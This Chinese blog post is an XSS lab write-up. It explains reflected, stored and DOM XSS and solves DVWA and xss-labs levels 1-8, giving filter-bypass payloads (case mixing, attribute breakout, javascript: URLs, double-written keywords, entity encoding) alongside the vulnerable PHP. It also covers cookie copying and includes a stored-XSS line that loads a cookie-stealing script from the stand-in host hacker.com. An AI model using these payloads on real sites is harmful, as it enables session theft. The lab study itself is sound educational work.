XSS漏洞

XSS漏洞(跨站脚本攻击)

XSS 是一种经常出现在 Web 应用中的计算机安全漏洞,它允许恶意 Web 用户将代码植入到提供给其它用户使用的页面中。

<script>alert(/xss/)</script>

DOM型

不经过服务器解析,整个漏洞利用过程发生在客户端的DOM(文档对象模型)解析阶段。攻击者构造一个特殊的URL,其中包含恶意脚本片段。当用户点击这个URL时,网站的JS代码会错误地将恶意片段当作正常内容写入DOM,从而导致脚本执行。

<!-- 一个页面有下列代码 -->
<script>
var welcome = "Welcome, " + document.location.hash.substring(1);
document.getElementById('msg').innerHTML = welcome;
</script>

<!-- 通过构造 -->
https://example.com/welcome.html#<img src='x' onerror='alert("XSS")'>
<!-- 用户点击后,document.location.hash是#<img ...>,这段HTML被直接写入innerHTML。<img>标签的src无效,触发onerror事件,执行了恶意代码 -->

反射型(不当宣传)

恶意脚本由服务器解析但没有存储在服务器上,攻击者诱骗用户点击一个精心构造的链接,这个链接中包含恶意脚本作为参数。当用户点击链接,服务器收到请求并将恶意参数直接返回给用户的浏览器,浏览器误以为这是页面的一部分,从而执行了恶意代码。

<script>alert('XSS')</script>
<script>alert(/XSS/)</script>

存储型(水坑攻击)

攻击者将恶意脚本提交到目标网站的数据库中(例如留言、评论、用户名等)。当其他正常用户浏览包含这些内容的页面时,恶意脚本会从服务器加载到他们的浏览器中并执行。

<!-- 攻击者在博客评论区提交评论 -->
<script>src="http://hacker.com/steal-cookie.js"</script>
<!-- 这条评论被保存到数据库。此后,任何用户浏览这篇博客文章时,都会自动加载并执行steal-cookie.js这个恶意脚本 -->

区别

特性 反射型XSS 存储型XSS 基于DOM的XSS
存储位置 不存储,通过URL传递 存储在服务器数据库 不存储,通过URL传递
持久性 非持久(一次性) 持久 非持久(一次性)
谁执行恶意代码 服务器返回,浏览器执行 服务器返回,浏览器执行 客户端JS写入,浏览器执行
服务器参与 ,反射恶意代码 ,存储并返回恶意代码 ,整个过程在客户端完成
危害范围 较低,需要诱骗点击 极高,影响所有访问者 中等,需要诱骗点击
检测难度 较容易 较容易 较困难

POC:漏洞验证程序

EXP:漏洞利用/攻击程序

payload:造成恶意攻击的核心代码

1、通关dvwa靶场三个难度的反射型xss

XSS (Reflected)

low等级

<script>alert(/xss/)</script>

<!-- http://192.168.142.144/dvwa-master/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script># -->

image-20250825110924468

medium等级

<script>alert(/xss/)</script>
<!-- 继续输入之前的代码,页面没有弹窗,但是页面有输出 alert(/xss/) 前面的 <script> 代码没有被解析也没有被输出 -->

image-20250825111216797

查看代码发现,通过 str_replace 函数将关键字 <script> 替换为空(做了个删除操作),由于这里是精确匹配,那么可以通过大小写混写的操作绕过

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>
# $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 这段代码将 <script> 替换为空

使用大小写混写尝试XSS

<ScRiPt>alert(/xss/)</sCrIpT>

<!-- 大小写混写 http://192.168.142.144/dvwa-master/vulnerabilities/xss_r/?name=<ScRiPt>alert(/xss/)</sCrIpT># -->

image-20250825112004166

high等级

先使用大小写尝试看看什么情况

<ScRiPt>alert(/xss/)</sCrIpT>

<!-- 这里使用大小写混写失败,只能重新想办法 -->

image-20250825112302654

继续查看源代码查找攻击点

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

# $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 这段代码通过正则表达式匹配 <script 的关键字然后做替换,那么使用 <script> 就行不通了,可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码

使用 img 标签尝试

<img src=1 onerror=alert(/xss/)>

image-20250825160029738

使用 svg 标签绕过

<svg onload="alert(1)">

image-20250825160245759

2、演示反射型,存储型,DOM型XSS漏洞,说明三者的区别

反射型XSS

恶意脚本由服务器解析但没有存储在服务器上,攻击者诱骗用户点击一个精心构造的链接,这个链接中包含恶意脚本作为参数。当用户点击链接,服务器收到请求并将恶意参数直接返回给用户的浏览器,浏览器误以为这是页面的一部分,从而执行了恶意代码。

<script>alert(/xss/)</script>

image-20250825110924468

存储型XSS

攻击者将恶意脚本提交到目标网站的数据库中(例如留言、评论、用户名等)。当其他正常用户浏览包含这些内容的页面时,恶意脚本会从服务器加载到他们的浏览器中并执行。

<script>alert(/xss/)</script>

image-20250825161019241

再次进入此界面,发现服务器自动解析了 XSS 代码显示在浏览器上

image-20250825161058170

DOM型XSS

不经过服务器解析,整个漏洞利用过程发生在客户端的DOM(文档对象模型)解析阶段。攻击者构造一个特殊的URL,其中包含恶意脚本片段。当用户点击这个URL时,网站的JS代码会错误地将恶意片段当作正常内容写入DOM,从而导致脚本执行。

http://192.168.142.144/dvwa-master/vulnerabilities/xss_d/?default=<script>alert(/xss/)</script>

这里是一个下拉选项卡,使用 get 方法传递参数,直接在后面拼接 XSS 代码然后在 DOM 节点进行解析执行

image-20250825161346993

三者区别

特性 反射型XSS 存储型XSS 基于DOM的XSS
存储位置 不存储,通过URL传递 存储在服务器数据库中 不存储,通过URL传递
持久性 非持久(一次性) 持久 非持久(一次性)
谁执行恶意代码 服务器返回,浏览器执行 服务器返回,浏览器执行 客户端JS写入,浏览器执行
服务器参与 是,反射恶意代码 是,存储并返回恶意代码 否,整个过程在客户端完成

3、通关xss-lab1-8关卡,根据关卡的源码去解释一下自己为什么能通关,关卡如何防御的

XSS-labs-level-1

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

<!-- 由于对 GET 传入的参数未做任何限制与过滤就直接输出用户输入的数据。若直接输入 XSS 代码服务器会直接解析然后返回 -->

<script>alert(/xss/)</script>

image-20250825162807815

XSS-labs-level-2

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,但是在 input 标签中未做实体编码而是直接使用,可以利用 input 标签让其先闭合再执行 XSS 代码 -->

"><script>alert(/xss/)</script>

image-20250825164510481

XSS-labs-level-3

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,也在 input 标签中做了实体编码,这里就使用 input 标签的 onclick 操作,在点击输入框会执行 alert(1) 的操作 -->

' onclick='alert(1)

’onmouseover='alert(1)
<!-- 当鼠标移到元素时弹出提示框 -->

image-20250825165018248

XSS-labs-level-4

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,并且在获取参数时对参数中的 < 符号进行替换,同样 input 的 value 字段没有进行实体编码,那使用 onclick 进行测试 -->

" onclick="alert(1)

image-20250825172603139

XSS-labs-level-5

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,并且在获取参数时先全部转换成小写,然后对参数中的 <scriipt 和 on 进行替换,但是 input 的 value 字段没有进行实体编码,那么使用 JavaScript 伪协议绕过进行测试 -->

"><a href='javascript:alert(/xss/)'>
<!-- 源代码变成这样 -->
<input name=keyword value=""><a href='javascript:alert(/xss/)'>">

<!-- 添加了一个超链接,将后面的 "> 变成了一个可进行点击的超链接,点击就能够触发 XSS -->

image-20250825173457096

XSS-labs-level-6

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,并对参数中的 <scriipt 、on 、src 、data 、href 关键字进行替换,但是 input 的 value 字段没有进行实体编码,并且代码中没有进行大小写转换,那么使用大小写混写即可绕过 -->

"><ScRiPt>alert(/xss/)</sCrIpT>

image-20250825174208507

XSS-labs-level-7

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,在获取参数时先全部转换成小写,然后对参数中的 scriipt 、on 、src 、data 、href 关键字进行替换,但是 input 的 value 字段没有进行实体编码,这里再进行替换时相当于删除关键字,那么使用双写重复写入关键字绕过 -->


" oonnclick="alert(1)
"><a hrhrefef='javasscriptcript:alert(/xss/)'>
"><scscriptript>alert(/xss/)</scscriptript>

image-20250825174756123

XSS-labs-level-8

<!-- 关键代码 -->

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,在获取参数时先全部转换成小写,然后对参数中的 scriipt 、on 、src 、data 、href 、" 关键字进行替换,但是 input 的 value 字段没有进行实体编码,这里替换严格测试使用 javascript 伪协议实体编码绕过 -->


<!-- 十六进制实体编码 -->
javascrip&#x74;:alert(/xss/)
<!-- 十进制实体编码 -->
javascrip&#116;:alert(/xss/)

image-20250825175427704

4、将1-8关代码里的防御手段所涉及到的函数都使用一遍,看一下效果

<?php
header('Content-Type: text/html; charset=utf-8');
function str_replace_l4($str) {
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
return $str3;
}

function str_replace_l5($str) {
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
return $str3;
}

function str_replace_l6($str) {
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
return $str6;
}

function str_replace_l7($str) {
$str1 =strtolower($str);
$str2=str_replace("script","",$str1);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
return $str6;
}

function str_replace_l8($str) {
$str1 = strtolower($str);
$str2=str_replace("script","scr_ipt",$str1);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
return $str7;
}
define("STR", "<script, script, ON, Src, data, href, '");


//echo "测试字符串:" . STR . "<br>";
echo "进行html实体编码:" . htmlspecialchars(STR) . "<br>" . "<br>";
echo "进行尖括号替换:" . htmlspecialchars(str_replace_l4(STR)) . "<br>" . "<br>";
echo "尖括号script和on关键字替换:" . htmlspecialchars(str_replace_l5(STR)) . "<br>" . "<br>";
echo "尖括号script/on/src/data/href关键字替换:" . htmlspecialchars(str_replace_l6(STR)) . "<br>" . "<br>";
echo "script/on/src/data/href关键字替换:" . htmlspecialchars(str_replace_l7(STR)) . "<br>" . "<br>";
echo "尖括号script/on/src/data/href/和单引号关键字替换:" . htmlspecialchars(str_replace_l8(STR)) . "<br>" . "<br>";

?>

image-20250825192302309

5、使用一下xss盲打操作

XSS盲打

XSS盲打是一种特殊类型的存储型XSS攻击,其特殊之处在于:攻击者输入恶意 payload 后,无法立即看到执行效果。这个 payload 会被存储在后端,只有当特定的、特权用户(通常是管理员)访问到某个特定的页面时,payload 才会在其浏览器中触发执行。

尝试

前端留言版输入XSS代码<script>alert(/xss/)</script>

image-20250825192807289

然后登录管理员查看留言,发现弹窗实现了XSS盲打

image-20250825192722660

扩展:尝试将pikachu靶场的cookie手动写入到另一个浏览器

首先在 firefox 浏览器的 pikachu 靶场登录后按下F12找到存储,找到 pikachu 靶场的 cookie

image-20250825194115703

接着打开 edge 浏览器,登录

http://192.168.142.144/pikachu-master/vul/xss/xssblind/admin_login.php

发现需要登录

image-20250825194339177

尝试复制 cookie,到edge浏览器按下F12点击cookie,选择要添加cookie的网址,在右侧右键选择添加

image-20250825194833987

将之前firefox浏览器的相对应的字段复制上去

image-20250825195733743

复制完成后刷新页面,发现显示页面为 firefox 浏览器登录后的界面,cookie复制成功

扩展:尝试安装xss平台

Author: wickt42
Link: http://example.com/2025/08/25/XSS漏洞/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.